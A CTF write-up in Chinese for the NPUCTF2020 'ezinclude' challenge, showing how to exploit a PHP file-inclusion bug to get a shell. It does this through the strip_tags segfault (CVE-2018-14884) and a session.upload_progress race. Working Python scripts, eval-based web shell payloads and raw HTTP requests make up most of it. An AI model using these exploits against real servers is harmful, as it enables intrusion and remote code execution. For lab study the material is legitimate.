[NPUCTF2020]ezinclude

页面源代码给了提示

同时在我们的cookie看到Hash

get传参

?name=1

得到Hash为

576322dd496b99d07b5b0f7fa7934a25

为了满足md5($secret.$name)===$pass,传参

?pass=576322dd496b99d07b5b0f7fa7934a25&name=1

然后页面会跳转到404.html,抓包看一下

访问flflflflag.php,再抓包

发现文件包含,读取flflflflag.php源码

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

然后base64解码得到

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

解法一:

利用php7 segment fault特性(CVE-2018-14884)

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

利用条件:

    php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
    php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
    php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
    可以获取文件名
    源代码将GET参数进行文件包含
 

利用:

/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

脚本:

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://c19fc50e-03d1-4475-a2c1-b5d54b9bab9b.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

然后访问dir.php(这个可以用dirsearch扫出来)

用bp发包

POST /flflflflag.php?file=/tmp/phpVjFFSE HTTP/1.1
Host: c19fc50e-03d1-4475-a2c1-b5d54b9bab9b.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

找到flag

解法二:

利用session.upload_progress 进行 session 文件包含

原理:利用session.upload_progress上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码。因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件。

session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=yym68686(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS ,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=yym68686,所以Session文件将会自动创建。

因为session.upload_progress.cleanup = on这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

脚本:

import io
import sys
import requests
import threading

host = 'http://c19fc50e-03d1-4475-a2c1-b5d54b9bab9b.node4.buuoj.cn:81/flflflflag.php'
sessid = 'feng'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

当运行停止后,发送请求:

POST /flflflflag.php?file=shell.php HTTP/1.1
Host: c19fc50e-03d1-4475-a2c1-b5d54b9bab9b.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

找到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值